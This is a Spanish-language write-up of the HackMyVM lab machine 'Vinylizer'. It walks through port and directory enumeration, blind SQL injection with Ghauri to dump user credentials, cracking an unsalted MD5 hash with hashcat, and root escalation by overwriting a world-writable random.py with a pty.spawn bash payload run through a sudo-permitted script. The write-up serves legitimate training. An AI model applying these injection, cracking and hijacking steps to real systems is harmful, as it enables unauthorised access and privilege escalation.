cd ~/blog

~/writeups/hmv/020-vinylizer.md

020 - Vinylizer

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Blind SQL Injection en el parámetro usernameWeak Password almacenada como MD5 sin saltPython Library Hijacking mediante random.py escribible desde un script ejecutado con sudo
hackmyvm.eu/machines/machine.php?vm=Vinylizer

~2 min de lectura


Enumeración de servicios

El objetivo expone SSH y una aplicación web llamada Vinyl Records Marketplace. Como no disponemos de credenciales para SSH, continuamos por HTTP:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.29
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.29
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-04 18:34 -03
Nmap scan report for 192.168.1.29
Host is up (0.00039s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f8:e3:79:35:12:8b:e7:41:d4:27:9d:97:a5:14:b6:16 (ECDSA)
|_  256 e3:8b:15:12:6b:ff:97:57:82:e5:20:58:2d:cb:55:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Vinyl Records Marketplace
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds

Enumeración web

Gobuster descubre login.php, que se convierte en el principal punto de entrada:

❯ gobuster dir -u 192.168.1.29 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/img                  (Status: 301) [Size: 310] [--> http://192.168.1.29/img/]
/login.php            (Status: 200) [Size: 1408]
/index.html           (Status: 200) [Size: 2326]
...

Explotación mediante Blind SQL Injection

Al introducir admin' en el login, la respuesta cambia y revela un error de consulta. Guardamos la petición POST completa para que Ghauri conserve las cookies, cabeceras y parámetros del formulario.

La aplicación no refleja filas útiles, por eso la explotación es ciega. Ghauri infiere los valores mediante diferencias booleanas o temporales y reconstruye los datos carácter por carácter:

POST /login.php HTTP/1.1
Host: 192.168.1.29
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.29
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.29/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
Cookie: PHPSESSID=e5mbp5mudjppbm5eoi66ts4i0f
Connection: close

username=admin&password=asdf&login=

Indicamos que pruebe username; la herramienta confirma la inyección y enumera tres bases de datos:

❯ ghauri -r req.txt -p username --dbs
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] vinyl_marketplace
...

Seleccionamos la base de datos de la aplicación y listamos sus tablas:

❯ ghauri -r req.txt -p username --dbms mysql -D vinyl_marketplace --tables
...
[1 tables]
+-------+
| users |
+-------+
...

La única tabla es users, que volcamos para recuperar las credenciales:

❯ ghauri -r req.txt -p username --dbms mysql -D vinyl_marketplace -T users --dump
...
+----+----------------+----------------------------------+-----------+
| id | login_attempts | password                         | username  |
+----+----------------+----------------------------------+-----------+
| 1  | 0              | 9432522ed1a8fca612b11c3980a031f6 | shopadmin |
| 2  | 0              | password123                      | lana      |
+----+----------------+----------------------------------+-----------+
...

El hash de shopadmin tiene 32 caracteres hexadecimales y corresponde a MD5 sin salt. Hashcat, en modo 0, recupera addicted2vinyl mediante un Dictionary Attack, lo que confirma el uso de una Weak Password.

La longitud no demuestra MD5 por sí sola, pero permite formular la hipótesis. La recuperación exitosa con el modo 0 de Hashcat confirma el formato; después todavía validamos la contraseña contra SSH:

❯ hashcat -a 0 -m 0 "9432522ed1a8fca612b11c3980a031f6" ~/Documentos/wordlists/rockyou.txt --show
9432522ed1a8fca612b11c3980a031f6:addicted2vinyl
-a 0 -> straight attack mode
-m 0 -> md5 hash mode

Acceso inicial y enumeración de privilegios

Las credenciales funcionan por SSH y permiten recuperar la primera flag. sudo -l muestra que shopadmin puede ejecutar un script Python fijo como cualquier usuario:

shopadmin@vinylizer:~$ sudo -l
Matching Defaults entries for shopadmin on vinylizer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User shopadmin may run the following commands on vinylizer:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/vinylizer.py

Análisis de importaciones Python

vinylizer.py importa json y random. Iniciamos el intérprete para conocer las rutas exactas de ambos módulos y comprobamos sus permisos.

No basta con que el script importe una librería. Python Library Hijacking sólo es viable si Python resolverá un archivo modificable. Consultar la propiedad __file__ evita asumir la ruta y los permisos confirman que random.py es escribible:

shopadmin@vinylizer:/opt$ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import json; import random; json; random
<module 'json' from '/usr/lib/python3.10/json/__init__.py'>
<module 'random' from '/usr/lib/python3.10/random.py'>

shopadmin@vinylizer:/opt$ ls -l /usr/lib/python3.10/json/__init__.py
-rw-r--r-- 1 root root 14020 Nov 20 15:14 /usr/lib/python3.10/json/__init__.py
shopadmin@vinylizer:/opt$ ls -l /usr/lib/python3.10/random.py
-rwxrwxrwx 1 root root 33221 Nov 20 15:14 /usr/lib/python3.10/random.py

random.py tiene permisos 777, de modo que podemos alterar código que el script privilegiado importará. Antes de modificarlo guardamos una copia en el home:

shopadmin@vinylizer:~$ cp /usr/lib/python3.10/random.py ./
import pty
pty.spawn("/bin/bash")

Escalada mediante Python Library Hijacking

Reemplazamos el módulo por dos líneas que crean una pseudoterminal de Bash. Al ejecutar el comando autorizado, Python carga nuestra versión de random.py con los privilegios de root.

El código se ejecuta durante la importación, antes de la lógica principal del script. La copia de seguridad permite restaurar la librería compartida tras la prueba:

shopadmin@vinylizer:~$ sudo /usr/bin/python3 /opt/vinylizer.py

Las notas registran que la pseudoterminal se abrió como root y permitió recuperar la flag final, pero no conservaron una salida de UID. La copia previa permite restaurar la librería después de la prueba.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados